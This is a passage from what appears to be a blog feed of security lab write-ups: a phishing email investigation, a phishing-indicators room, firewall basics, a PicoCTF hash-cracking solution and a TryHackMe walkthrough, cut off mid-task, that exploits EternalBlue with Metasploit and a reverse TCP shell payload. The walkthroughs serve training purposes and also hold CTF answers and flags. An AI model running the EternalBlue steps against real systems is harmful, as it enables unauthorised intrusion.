claims to come from?</em></strong></blockquote><p>One of the most useful artifacts inside headers is the <strong>originating IP address</strong>.</p><h3>Question 5: What is the originating IP address of this email?</h3><p>By reviewing the message source and following the earliest sending hop, the originating IP was identified as:</p><blockquote>Answer</blockquote><blockquote><strong>192.119.71.157</strong></blockquote><h3>Why this matters</h3><p>The originating IP tells us which system likely sent the email into the mail chain. Once we have it, we can investigate the infrastructure behind the message:</p><ul><li>Who owns the IP?</li><li>Is it a corporate mail server?</li><li>Is it a cloud host or shared hosting provider?</li><li>Does it match the expected sender environment?</li></ul><p>This is where phishing emails often start to fall apart.</p><h3>Step 4 — Investigate the source IP</h3><p>An IP address by itself is just a number. To make it useful, we need to identify the <strong>owner of that infrastructure</strong>.</p><p>In phishing analysis, this helps us understand whether the message was sent from a legitimate business mail platform or from infrastructure that doesn’t fit the story being told in the email.</p><h3>Question 6: Who is the owner of the originating IP?</h3><p>After checking the IP ownership information, the IP was linked to:( use Whois to find the answer )</p><blockquote>Answer</blockquote><blockquote><strong>HostPapa</strong></blockquote><h3>Why this matters</h3><p>This gives us more context about where the email came from. If the sender claims to be a business using a particular corporate mail system, but the email actually originated from unrelated hosting infrastructure, that becomes suspicious.</p><p>By itself, this doesn’t prove the email is malicious. But in combination with the Reply-To mismatch and suspicious attachment, it adds weight to the phishing hypothesis.</p><h3>Step 5 — Verify sender authentication records</h3><p>At this point, the investigation shifts from <strong>who sent the email</strong> to <strong>whether the sender domain is configured to send mail from that infrastructure</strong>.</p><p>This is where <strong>SPF</strong> and <strong>DMARC</strong> come in.</p><h3>What is SPF?</h3><p><strong>SPF (Sender Policy Framework)</strong> is a DNS record that tells the world which mail servers are allowed to send email on behalf of a domain.</p><p>For example, if a domain says:</p><blockquote><em>only Microsoft 365 servers are allowed to send mail for me</em></blockquote><p>then any email claiming to come from that domain but sent from some other server may fail SPF.</p><p>SPF helps defend against domain spoofing.</p><h3>Question 7: What is the full SPF record for this domain?</h3><p>After checking the Return-Path domain, the SPF record was:</p><blockquote>Answer</blockquote><blockquote><strong>v=spf1 include:spf.protection.outlook.com -all</strong></blockquote><h3>Why this matters</h3><p>This SPF record says the domain authorizes <strong>Microsoft’s Outlook / Office 365 infrastructure</strong> to send email on its behalf.</p><p>The important part here is:</p><ul><li>include:spf.protection.outlook.com → Microsoft 365 is authorized</li><li>-all → all other senders should be rejected / fail SPF</li></ul><p>So if this suspicious email came from infrastructure outside what SPF allows, that becomes a strong sign of spoofing or abuse.</p><h3>What is DMARC?</h3><p><strong>DMARC (Domain-based Message Authentication, Reporting, and Conformance)</strong> builds on SPF and DKIM. It tells receiving mail servers what to do if a message fails authentication checks.</p><p>DMARC policies are commonly set to:</p><ul><li>none → monitor only</li><li>quarantine → mark suspicious / send to spam</li><li>reject → block outright</li></ul><p>DMARC helps domain owners protect their brand from impersonation.</p><h3>Question 8: What is the complete DMARC record for the Return-Path domain?</h3><p>The DMARC record for the same domain was:</p><h3>Answer</h3><p><strong>v=DMARC1; p=quarantine; fo=1</strong></p><h3>Why this matters</h3><p>This DMARC policy tells receiving servers to <strong>quarantine</strong> messages that fail authentication checks.</p><p>Breaking it down:</p><ul><li>v=DMARC1 → this is a DMARC record</li><li>p=quarantine → suspicious failing emails should be quarantined</li><li>fo=1 → failure reporting is enabled for authentication failures</li></ul><p>This matters because if someone is spoofing the domain incorrectly, the domain’s own policy is already telling receivers to treat that email as suspicious.</p><h3>Step 6 — Inspect the attachment</h3><p>The email also included an attachment, which is often the most dangerous part of a phishing email.</p><p>Attackers commonly disguise malware as:</p><ul><li>invoices</li><li>receipts</li><li>transfer confirmations</li><li>PDFs</li><li>shipping notices</li><li>“important” business documents</li></ul><p>The filename is often designed to lower suspicion and encourage the victim to open it quickly.</p><h3>Question 9: What is the file name of the attachment found in the email?</h3><p>The attachment name in the email was:</p><blockquote>Answer</blockquote><blockquote><strong>SWT_#09674321____PDF__.CAB</strong></blockquote><h3>Why this matters</h3><p>This filename is clearly trying to look like a harmless document.</p><p>It includes:</p><ul><li>a transfer-style reference number</li><li>the word <strong>PDF</strong></li><li>a business-like naming structure</li></ul><p>But the actual extension is <strong>.CAB</strong>, not .pdf.</p><p>That mismatch is suspicious because a user may only focus on the “PDF” part of the filename and assume it’s a normal document.</p><h3>Step 7 — Hash the attachment</h3><p>Once the attachment is downloaded, one of the most useful things to do is generate a <strong>hash</strong>.</p><h3>What is a file hash?</h3><p>A file hash is a unique fingerprint of a file. If even one byte changes, the hash changes too.</p><p>Why do we calculate it?</p><ul><li>to uniquely identify the file</li><li>to search it in threat intelligence platforms like VirusTotal</li><li>to compare it with known malware sample</li><li>to track the same sample across investigations</li></ul><p>In this task, we use <strong>SHA256</strong>, which is a common cryptographic hash used in malware analysis.</p><h3>Question 10: Using sha256sum, what is the SHA256 hash of the file?</h3><p>After running sha256sum on the attachment, the hash was:</p><blockquote>Answer</blockquote><blockquote><strong>2e91c533615a9bb8929ac4bb76707b2444597ce063d84a4b33525e25074fff3f</strong></blockquote><h3>Why this matters</h3><p>This hash lets us investigate the file externally without opening it. If the sample is already known to security vendors or researchers, the hash will often reveal useful information about detections, file type, and behavior.</p><h3>Step 8 — Investigate the hash on VirusTotal</h3><p>Now that we have the SHA256 hash, we can use it to look up the file on <strong>VirusTotal</strong>.</p><h3>What is VirusTotal?</h3><p>VirusTotal is a threat intelligence platform that allows analysts to check files, URLs, domains, and hashes against multiple antivirus engines and research sources.</p><p>In phishing investigations, VirusTotal is useful for quickly learning:</p><ul><li>whether the file has been seen before</li><li>what type of file it really is</li><li>how large it is</li><li>whether security vendors have flagged it as malicious</li></ul><h3>Question 11: What is the attachment’s file size in KB?</h3><p>VirusTotal reported the attachment size as:</p><blockquote>Answer</blockquote><blockquote><strong>400.26 KB</strong></blockquote><h3>Why this matters</h3><p>File size is a minor artifact compared to hashes or file type, but it still helps verify that you’re analyzing the correct sample and can be useful for correlation across different reports.</p><h3>Question 12: What is the actual file type of the attachment?</h3><p>Even though the attachment used a .CAB extension, deeper analysis revealed that the real file type was:</p><h3>Answer</h3><p><strong>RAR</strong></p><h3>Why this matters</h3><p>This is one of the strongest indicators in the whole challenge.</p><p>The attacker disguised the file to make it look like a normal business document, but it was actually an <strong>archive</strong>.</p><p>That matters because archive files are frequently used in phishing campaigns to:</p><ul><li>hide malicious payloads</li><li>bypass basic attachment filtering</li><li>trick users into extracting and opening malware manually</li></ul><p>So instead of a harmless transfer document, the recipient was likely being lured into opening a disguised archive that could contain malware.</p><h3>Final Analysis</h3><p>At the start of the challenge, the email only looked “a bit unusual.” But once we moved through the investigation step by step, the evidence became much stronger.</p><h3>Suspicious indicators identified</h3><h3>1. Unusual business context</h3><p>The email requested a money transfer unexpectedly and used a communication style that did not match the customer’s normal behavior.</p><h3>2. Sender / Reply-To mismatch</h3><p>The email <strong>appeared</strong> to come from one address but directed replies to another mailbox:</p><ul><li><strong>Sender:</strong> info@mutawamarine.com</li><li><strong>Reply-To:</strong> info.mutawamarine@mail.com</li></ul><p>That is a common phishing and impersonation tactic.</p><h3>3. Suspicious source infrastructure</h3><p>The email originated from <strong>192.119.71.157</strong>, which was associated with <strong>HostPapa</strong>. That infrastructure may not align with the expected sender environment.</p><h3>4. Authentication context raises questions</h3><p>The sender domain had:</p><ul><li>SPF: v=spf1 include:spf.protection.outlook.com -all</li><li>DMARC: v=DMARC1; p=quarantine; fo=1</li></ul><p>If the message wasn’t sent from approved Microsoft infrastructure, it would not align with the sender domain’s own mail policy.</p><h3>5. Deceptive attachment</h3><p>The attachment used a misleading filename and extension:</p><ul><li><strong>Filename:</strong> SWT_#09674321____PDF__.CAB</li><li><strong>Actual file type:</strong> RAR</li></ul><p>This is a strong sign of malicious intent because the file was designed to look like a document while actually being an archive.</p><h3>Verdict</h3><p>After reviewing the message content, sender details, email headers, authentication records, and attachment behavior, this email should be treated as a <strong>phishing / malicious email attempt</strong> rather than a legitimate customer communication.</p><p>The strongest reasons are:</p><ul><li>mismatched <strong>Reply-To</strong> behavior</li><li>suspicious financial request</li><li>attachment disguised as a document</li><li>real file type not matching expectations</li><li>sender infrastructure and authentication context raising additional concern</li></ul><h3>Conclusion</h3><p>This challenge is a great example of how phishing analysis works in the real world. A malicious email doesn’t always scream “I’m fake” at first glance. Sometimes it looks convincing enough to pass an initial check, especially when it impersonates a known contact or includes business-like references.</p><p>What exposes it is the investigation process:</p><ul><li>checking <strong>what the user sees</strong></li><li>validating <strong>who actually sent it</strong></li><li>reviewing <strong>how the message was routed</strong></li><li>verifying <strong>mail authentication</strong></li><li>and analyzing <strong>whether the attachment is what it claims to be</strong></li></ul><p>That layered approach is what turns a suspicious message into a confident verdict.</p><p>In this case, the verdict is clear: <strong>The Greenholt Phish is malicious.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=495a835bf9bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Phishing Emails in Action]]></title>
            <link>https://medium.com/@divyanshurds.kumar/phishing-emails-in-action-691673fe7860?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/691673fe7860</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Sun, 07 Jun 2026 04:56:41 GMT</pubDate>
            <atom:updated>2026-06-07T04:56:41.014Z</atom:updated>
            <content:encoded><![CDATA[<h3>Learn the Different Indicators of Phishing Attempts by Examining Real Phishing Emails</h3><blockquote><em>In this room, we analyzed multiple real-world phishing emails and learned how attackers use social engineering, spoofing, malicious attachments, URL obfuscation, and credential harvesting techniques to trick victims into revealing sensitive information.</em></blockquote><h3>📌 Objective</h3><p>The goal of this challenge was to identify phishing indicators hidden inside various email samples and understand how attackers manipulate users into clicking malicious links, downloading malware, or submitting credentials.</p><h3>🛠️ Key Phishing Techniques Observed</h3><p>TechniqueDescription🎭 Spoofed Email AddressPretending to be trusted brands🔗 URL ShorteningHiding malicious destinations🖼️ Brand ImpersonationCopying logos and templates📡 Tracking PixelsMonitoring email opens🔄 Redirect ChainsHiding final phishing pages🔑 Credential HarvestingStealing usernames/passwords📎 Malicious AttachmentsDelivering malware through files⚡ Urgency TacticsForcing victims to act quickly</p><h3>🚩 Task 2 — Cancel Your Order</h3><h3>Scenario</h3><p>A fake PayPal receipt claims a purchase was made and urges the user to cancel the order.</p><h3>🔍 Indicators Found</h3><p>✅ Urgent fake transaction notification</p><p>✅ Sender spoofing</p><pre>Display Name:<br>service@paypal.com</pre><pre>Actual Email:<br>gibberish@sultanbogor.com</pre><p>✅ Shortened URL hiding the real destination</p><p>✅ Fake PayPal branding</p><h3>🎯 Flag</h3><blockquote><strong><em>Merchant Name: </em></strong><strong><em>Amazing Stuff</em></strong></blockquote><h3>🚩 Task 3 — Track Your Package</h3><h3>Scenario</h3><p>Fake shipping notification containing a tracking number.</p><h3>🔍 Indicators Found</h3><p>✅ Spoofed sender</p><pre>Display Name:<br>Distribution Center</pre><pre>Actual Email:<br>contact@beginpro.club</pre><p>✅ Tracking number used as bait</p><p>✅ Hidden malicious hyperlink</p><p>✅ Embedded tracking pixel</p><h3>Why Yahoo Blocked Images?</h3><p>The email contains a tracking pixel:</p><pre>Tracking.png</pre><p>This allows attackers to know:</p><ul><li>When email was opened</li><li>IP address</li><li>Device information</li></ul><h3>🎯 Flag</h3><p><strong>Root Domain (Defanged):</strong></p><pre>devret[.]xyz</pre><h3>🚩 Task 4 — Download Document Here</h3><h3>Scenario</h3><p>A fake fax document notification leading victims through multiple redirects.</p><h3>Attack Flow</h3><pre>Email<br>  ↓<br>Fake OneDrive Page<br>  ↓<br>Fake Adobe Page<br>  ↓<br>Credential Harvesting Portal</pre><h3>🔍 Indicators Found</h3><p>✅ Expiring document notification</p><p>✅ Multiple trusted brands abused</p><ul><li>Microsoft</li><li>OneDrive</li><li>Adobe</li></ul><p>✅ Suspicious redirects</p><p>✅ Fake login portal</p><h3>🎯 Flag</h3><p><strong>Attack Type:</strong></p><pre>Credential Harvesting</pre><h3>🚩 Task 5 — Your Account Is on Hold</h3><h3>Scenario</h3><p>Fake Netflix billing alert containing a malicious PDF attachment.</p><h3>🔍 Indicators Found</h3><p>✅ Brand impersonation</p><p>✅ Sender mismatch</p><pre>Display Name:<br>Netllx billing</pre><pre>Actual Email:<br>z99@musacombi.online</pre><p>✅ Poor grammar</p><p>✅ Suspicious attachment</p><p>✅ Fake billing issue</p><h3>🎯 Flag</h3><pre>z99@musacombi.online</pre><h3>🚩 Task 6 — Your Recent Purchase</h3><h3>Scenario</h3><p>Fake Apple purchase notification with a blank email body.</p><h3>🔍 Indicators Found</h3><p>✅ BCC recipient</p><p>✅ Blank email body</p><p>✅ Suspicious attachment</p><pre>Attachment:<br>.dot</pre><p>✅ Fake Apple Support sender</p><h3>What is BCC?</h3><pre>Blind Carbon Copy</pre><p>Recipients are hidden from each other.</p><h3>🎯 Flags</h3><p><strong>BCC Stands For</strong></p><pre>Blind Carbon Copy</pre><p><strong>Attachment Extension</strong></p><pre>.dot</pre><h3>🚩 Task 7 — Scheduled Shipment</h3><h3>Scenario</h3><p>Fake DHL shipment notification containing a malicious Excel file.</p><h3>🔍 Indicators Found</h3><p>✅ DHL impersonation</p><p>✅ Sender spoofing</p><p>✅ Malicious Excel attachment</p><pre>.xlsx</pre><p>✅ Geographic inconsistencies</p><p>ItemLocationDomainGermanyInvoiceIndiaContentMandarin</p><h3>Malicious Execution Chain</h3><pre>Email<br>  ↓<br>Excel Attachment<br>  ↓<br>Hyperlink<br>  ↓<br>Download EXE<br>  ↓<br>Execute Payload</pre><h3>Potential Impact</h3><p>🔥 Persistence</p><p>🔥 Data Theft</p><p>🔥 Ransomware Deployment</p><p>🔥 Credential Theft</p><h3>🎯 Flag</h3><pre>regasms.exe</pre><h3>🏆 Answers Summary</h3><p>TaskAnswerTask 2Amazing StuffTask 3devret[.]xyzTask 4Credential HarvestingTask 5<a href="/service/mailto:z99@musacombi.online">z99@musacombi.online</a>Task 6Blind Carbon CopyTask 6.dotTask 7regasms.exe</p><h3>📚 Key Takeaways</h3><p>✔ Always verify the actual sender address.</p><p>✔ Hover over links before clicking.</p><p>✔ Be cautious of shortened URLs.</p><p>✔ Never trust urgent payment or delivery notifications blindly.</p><p>✔ Attachments can be more dangerous than links.</p><p>✔ Tracking pixels are commonly used by attackers.</p><p>✔ Credential harvesting pages often imitate trusted brands.</p><p>✔ Multiple redirects are a major phishing red flag.</p><h3>🎯 Conclusion</h3><p>This room demonstrated how modern phishing campaigns combine <strong>spoofing, social engineering, tracking pixels, malicious attachments, and credential harvesting</strong> to deceive users. While grammar mistakes were once easy indicators, modern attackers increasingly use AI-generated content, making technical verification of senders, URLs, and attachments more important than ever.</p><p><strong>Happy hacking! 🚀🔐</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AJ9_VDOhEmZxlhD2.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=691673fe7860" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Firewall Fundamentals]]></title>
            <link>https://medium.com/@divyanshurds.kumar/firewall-fundamentals-c0bd56e161c1?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0bd56e161c1</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Fri, 17 Apr 2026 17:42:09 GMT</pubDate>
            <atom:updated>2026-04-17T17:42:09.188Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4E5dHMlLS0hrMdsItpGMQ.jpeg" /></figure><p>Complete walkthrough — all tasks, all answers</p><h3><strong>TASK 01</strong>What Is the Purpose of a Firewall</h3><p>Overview</p><p>This task introduces the concept of a firewall using a relatable analogy — a security guard stationed at the entrance of a building. Just like a guard checks everyone coming in or going out, a firewall checks every data packet entering or leaving a network or device.</p><p>Massive amounts of traffic flow between our devices and the internet every second. Without a gatekeeper, malicious traffic can slip in undetected. Firewalls solve this by applying rules to allow or deny traffic. Modern firewalls go beyond simple rule-matching and offer advanced security features.</p><blockquote>Analogy</blockquote><blockquote>Security Guard</blockquote><blockquote>Function</blockquote><blockquote>Inspect Traffic</blockquote><blockquote>Mechanism</blockquote><blockquote>Rule-based Filtering</blockquote><blockquote>Key Concepts</blockquote><p>A firewall is placed between your device/network and the outside world. Every packet that tries to enter or exit must pass through it first. Based on the configured rules, the firewall decides to <strong>allow</strong> or <strong>deny</strong> that traffic.</p><blockquote><strong>Questions &amp; Answers</strong></blockquote><blockquote><strong>QWhich security solution inspects the incoming and outgoing traffic of a device or a network?</strong></blockquote><blockquote><strong>ANS: Firewall</strong></blockquote><p>A firewall is the security solution that monitors and filters all incoming and outgoing network traffic based on predefined rules.</p><h3><strong>TASK 02Types of Firewalls</strong></h3><p>Overview</p><p>Different types of firewalls operate at different OSI model layers and offer varying levels of inspection depth. Understanding the differences is key to choosing the right tool for a given network scenario.</p><p>TypeOSI LayerKey CharacteristicsStateless<strong>L3 — L4</strong>Basic filtering, no state memory, high speed, treats every packet independentlyStateful<strong>L3 — L4</strong>Tracks connections in a state table, allows complex rule sets, context-aware decisionsProxy / App Gateway<strong>L7</strong>Inspects packet contents, content filtering, hides internal IPs, SSL/TLS decryptionNGFW<strong>L3 — L7</strong>Deep packet inspection, built-in IPS, heuristic analysis, threat intelligence feeds</p><p><strong>Key Notes</strong></p><p><strong>Stateless firewalls</strong> are fast but dumb — they forget everything between packets. A blocked attacker at packet #1 gets a clean slate at packet #2.</p><p><strong>Stateful firewalls</strong> remember connections. Once a session is trusted, future packets in that session skip re-inspection. Once blocked, a source stays blocked for that session.</p><p><strong>Proxy firewalls</strong> act as a middleman — the internal network never directly communicates with the internet. All traffic is proxied through the firewall which inspects content and masks internal IPs.</p><p><strong>NGFWs</strong> are the gold standard — they combine all of the above plus intrusion prevention, heuristics, and the ability to decrypt and inspect encrypted TLS traffic.</p><blockquote><strong>Questions &amp; Answers</strong></blockquote><blockquote><strong>QWhich type of firewall maintains the state of connections?</strong></blockquote><blockquote><strong>ANS : Stateful Firewall</strong></blockquote><p>Stateful firewalls store connection info in a state table and use it to make decisions on future packets from the same session.</p><p><strong>Q</strong>Which type of firewall offers heuristic analysis for the traffic?</p><p><strong>ANS</strong></p><p>Next-Generation Firewall</p><p>NGFWs analyze attack patterns in real time using heuristic analysis, allowing them to detect and block novel threats before they reach the network.</p><blockquote><strong>QWhich type of firewall inspects the traffic coming to an application?</strong></blockquote><blockquote><strong>ANS : Proxy Firewall</strong></blockquote><p>Proxy firewalls (application-level gateways) operate at Layer 7 and inspect the actual content of packets, enabling application-level control and content filtering.</p><h3><strong>TASK 03Rules in Firewalls</strong></h3><p>Overview</p><p>Firewalls don’t just use default behavior — they rely on rules to make decisions. Each rule defines a pattern of traffic and an action to take when that pattern is matched. Understanding rule components is fundamental for any security professional.</p><p>Rule Components</p><p>Source Address</p><p>Origin IP</p><p>Destination</p><p>Target IP</p><p>Port</p><p>Service port</p><p>Protocol</p><p>TCP / UDP</p><p>Action</p><p>Allow/Deny/Fwd</p><p>Direction</p><p>In / Out</p><p>Example Rules</p><p>Allow all outgoing HTTP traffic (port 80):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XzvQRE85_yL72E1_ayCmDg.png" /></figure><p>Deny all incoming SSH traffic (port 22) to a critical server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKJ0wrn6yDeiRrH-H8Rvyw.png" /></figure><p>Forward HTTP traffic to internal web server at 192.168.1.8:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T72N2Gkggfl_7aBHX9tw-A.png" /></figure><p>Questions &amp; Answers</p><blockquote><strong>QWhich type of action should be defined in a rule to permit any traffic?</strong></blockquote><blockquote><strong>ANS : Allow</strong></blockquote><p>The “Allow” action explicitly permits the matching traffic to pass through the firewall.</p><blockquote><strong>Q</strong>What is the direction of the rule that is created for the traffic leaving our network?</blockquote><blockquote><strong>ANS : </strong>Outbound</blockquote><p>Outbound rules apply to traffic that is leaving your network — going from your internal systems out to the internet or other networks.</p><h3><strong>TASK 04Windows Defender Firewall</strong></h3><p>Overview</p><p>Windows Defender Firewall is the built-in firewall in Windows OS. It supports two network profiles — Private and Guest/Public — and allows custom inbound/outbound rules. This task walks through creating a custom outbound rule to block HTTP/HTTPS traffic.</p><p>Network Profiles</p><p>Private Network</p><p>Home/Office</p><p>Relaxed settings — trusted environment</p><p>Public Network</p><p>Coffee Shops etc.</p><p>Stricter settings — untrusted environment</p><p>Creating a Custom Outbound Rule</p><p>To block all outgoing HTTP (port 80) and HTTPS (port 443) traffic:</p><p>1</p><p>Open Advanced Settings</p><p>Windows Defender Firewall → Advanced Settings</p><p>2</p><p>New Outbound Rule</p><p>Click “Outbound Rules” → “New Rule” in the right panel</p><p>3</p><p>Rule Type: Custom</p><p>Select “Custom” → All Programs → Next</p><p>4</p><p>Protocol &amp; Ports</p><p>Protocol: TCP | Remote Ports: Specific → 80,443 (no spaces)</p><p>5</p><p>Action: Block the connection</p><p>Select “Block the connection” in the Action tab</p><p>6</p><p>Apply to all profiles &amp; name the rule</p><p>Keep all profiles checked, give it a name, click Finish</p><p>After the rule is active, browsing to any website will fail — confirming the rule is working correctly.</p><p>Questions &amp; Answers</p><blockquote><strong>Q</strong>What is the name of the rule that was created to block all incoming traffic on the SSH port?</blockquote><blockquote><strong>ANS : </strong>Core Op</blockquote><p>Found by examining the Inbound Rules list in Windows Defender Firewall Advanced Settings — the rule blocking port 22 (SSH) is named “Core Op”.</p><blockquote><strong>Q</strong>A rule was created to allow SSH from one single IP address. What is the rule name?</blockquote><blockquote><strong>ANS : </strong>Infra team</blockquote><p>The rule named “Infra team” specifically allows SSH (port 22) inbound from a single trusted IP address.</p><blockquote><strong>Q</strong>Which IP address is allowed under this rule?</blockquote><blockquote><strong>ANS : </strong>192.168.13.7</blockquote><p>Visible in the rule’s Scope tab — the remote IP address allowed to SSH in is 192.168.13.7 (the infrastructure team’s machine).</p><h3><strong>TASK 05Linux iptables Firewall</strong></h3><p>Overview</p><p>Linux firewall functionality is provided by the <strong>Netfilter</strong> framework built into the kernel. Multiple user-space utilities sit on top of Netfilter to let you manage rules. The most common ones are listed below.</p><p>iptables</p><p>Most widely used. Powerful but verbose syntax.</p><p>nftables</p><p>Successor to iptables. Modern &amp; efficient.</p><p>firewalld</p><p>Zone-based. Predefined rule sets.</p><p>ufw</p><p>Beginner-friendly wrapper around iptables.</p><p>Essential ufw Commands</p><p># Check firewall status sudo ufw status # Enable the firewall sudo ufw enable # Set default policies sudo ufw default allow outgoing sudo ufw default deny outgoing # Block incoming SSH (port 22) sudo ufw deny 22/tcp # List all rules (numbered) sudo ufw status numbered # Delete rule by number sudo ufw delete 2</p><p>How ufw Works Under the Hood</p><p>When you run a ufw command, it translates your simple instruction into the complex iptables syntax and applies it automatically. You get the power of iptables with a fraction of the complexity.</p><p>Questions &amp; Answers</p><blockquote><strong>Q</strong>Which Linux firewall utility is considered to be the successor of “iptables”?</blockquote><blockquote><strong>ANS : </strong>nftables</blockquote><p>nftables is the official successor to iptables with enhanced packet filtering, NAT capabilities, and a cleaner rule syntax — all still based on the Netfilter framework.</p><blockquote><strong>Q</strong>What rule would you issue with ufw to deny all outgoing traffic from your machine as a default policy? (answer without sudo)</blockquote><blockquote><strong>ANS : </strong>ufw default deny outgoing</blockquote><p>This sets the default policy for all outgoing traffic to deny. All specific allow rules you create afterward act as exceptions to this blanket deny.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0bd56e161c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF Writeup — hashcrack]]></title>
            <link>https://medium.com/@divyanshurds.kumar/picoctf-writeup-hashcrack-325847783e17?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/325847783e17</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Fri, 06 Mar 2026 10:36:59 GMT</pubDate>
            <atom:updated>2026-03-06T10:36:59.928Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8-0mWZTDaQaeEQpS4eaRg.jpeg" /></figure><h3>Introduction</h3><p>Sometimes hackers do not need super advanced hacking skills. Sometimes they just need the admin to choose a very bad password 😅.</p><p>In this challenge, a company stored a secret message on a server. The passwords were hashed, but the admin used very weak passwords. Our job is to crack the hashes and get the secret flag.</p><h3>Step 1 — Connect to the server</h3><p>First connect to the challenge server using netcat.</p><pre>nc verbal-sleep.picoctf.net 50390</pre><p>The server will show a hash and ask for the password.</p><h3>Step 2 — First Hash (MD5)</h3><p>Hash:</p><pre>482c811da5d5b4bc6d497ffa98491e38</pre><p>This hash length is 32 characters which usually means <strong>MD5</strong>.</p><p>Now we check it on a hash cracking site like CrackStation.</p><p>Result:</p><pre>password123</pre><p>Enter it in the server and it says correct.</p><h3>Step 3 — Second Hash (SHA1)</h3><p>Hash:</p><pre>b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3</pre><p>This hash length is 40 characters which indicates <strong>SHA1</strong>.</p><p>Search the hash online.</p><p>Result:</p><pre>letmein</pre><p>Submit it to the server and move to the next step.</p><h3>Step 4 — Third Hash (SHA256)</h3><p>Hash:</p><pre>916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745</pre><p>This hash length is 64 characters which indicates <strong>SHA256</strong>.</p><p>Crack it using a hash database.</p><p>Result:</p><pre>qwerty098</pre><p>Submit it to the server.</p><h3>Flag</h3><p>After entering the final password, the server reveals the flag:</p><pre>picoCTF{UseStr0nG_h@shEs_&amp;PaSsWDs!_4de57566}</pre><h3>What We Learned</h3><p>Even if passwords are hashed, weak passwords can still be cracked very easily.</p><p>Admins should:</p><ul><li>Use strong passwords</li><li>Use salted hashes</li><li>Use slow hashing algorithms like bcrypt or argon2</li></ul><p>Otherwise hackers will find the password faster than you can say “password123”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=325847783e17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Blue Room Write-up]]></title>
            <link>https://medium.com/@divyanshurds.kumar/tryhackme-blue-room-write-up-e0822627abe7?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0822627abe7</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Thu, 05 Mar 2026 07:38:14 GMT</pubDate>
            <atom:updated>2026-03-05T07:38:14.897Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*aGhmGgvVdHDlGHOfby3R3Q.png" /></figure><h3>Introduction</h3><p>This room demonstrates how attackers exploit a famous Windows vulnerability called <strong>MS17–010 (EternalBlue)</strong>. The goal is to understand the full attack chain step‑by‑step:</p><ol><li>Scan the target machine</li><li>Identify the vulnerability</li><li>Exploit it using Metasploit</li><li>Upgrade the shell and gain SYSTEM privileges</li><li>Dump and crack password hashes</li><li>Find important files (flags)</li></ol><p>Everything below is written in <strong>simple beginner‑friendly language</strong>.</p><h3>Task 1 — Recon (Scanning the Machine)</h3><h3>Task Explanation</h3><p>Before attacking a machine, we first gather information. This process is called <strong>reconnaissance</strong>.</p><p>We will use <strong>Nmap</strong> to scan the target and identify open ports.</p><h3>Step 1 — Run an Nmap Scan</h3><p>Command:</p><pre>nmap -p 0-1000 &lt;target_ip&gt;</pre><h3>Why this command?</h3><ul><li><strong>nmap</strong> → network scanning tool</li><li><strong>-p 0–1000</strong> → scans the first 1000 ports</li><li><strong>&lt;target_ip&gt;</strong> → IP address of the target machine</li></ul><p>This tells us which services are running.</p><h3>Question</h3><p>How many ports are open under port 1000?</p><h3>Answer</h3><p><strong>3</strong></p><h3>Q: 2 — Identify the Vulnerability</h3><p>After researching the services discovered in the scan, we find the machine is vulnerable to <strong>EternalBlue</strong>, an SMB vulnerability.</p><h3>Question</h3><p>What vulnerability does this machine have?</p><h3>Answer</h3><p><strong>ms17–010</strong></p><h3>Task 2 — Gain Access</h3><h3>Task Explanation</h3><p>Now we will exploit the vulnerability using <strong>Metasploit</strong>.</p><h3>Step 1 — Start Metasploit</h3><pre>msfconsole</pre><p>This opens the Metasploit framework.</p><h3>Step 2 — Search for the Exploit</h3><pre>search ms17-010</pre><p>Metasploit will list modules related to this vulnerability.</p><h3>Question</h3><p>What is the full exploit path?</p><h3>Answer</h3><p><strong>exploit/windows/smb/ms17_010_eternalblue</strong></p><h3>Step 3 — Use the Exploit Module</h3><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><h3>Step 4 — Check Required Options</h3><pre>show options</pre><p>This shows all required settings for the exploit.</p><h3>Question</h3><p>Which required option must be set?</p><h3>Answer</h3><p><strong>RHOSTS</strong></p><h3>Step 5 — Configure the Exploit</h3><p>Set the payload:</p><pre>set payload windows/x64/shell/reverse_tcp</pre><p>Set the target IP:</p><pre>set RHOSTS &lt;target_ip&gt;</pre><h3>Step 6 — Run the Exploit</h3><pre>run</pre><p>If successful, we receive a Windows shell.</p><p>Background the shell so we can continue working in Metasploit:</p><pre>CTRL + Z</pre><h3>Task 3 — Escalate Privileges</h3><h3>Task Explanation</h3><p>The shell we gained is limited. We upgrade it to a <strong>Meterpreter shell</strong>, which provides advanced control.</p><h3>Question</h3><p>Which module converts a normal shell to 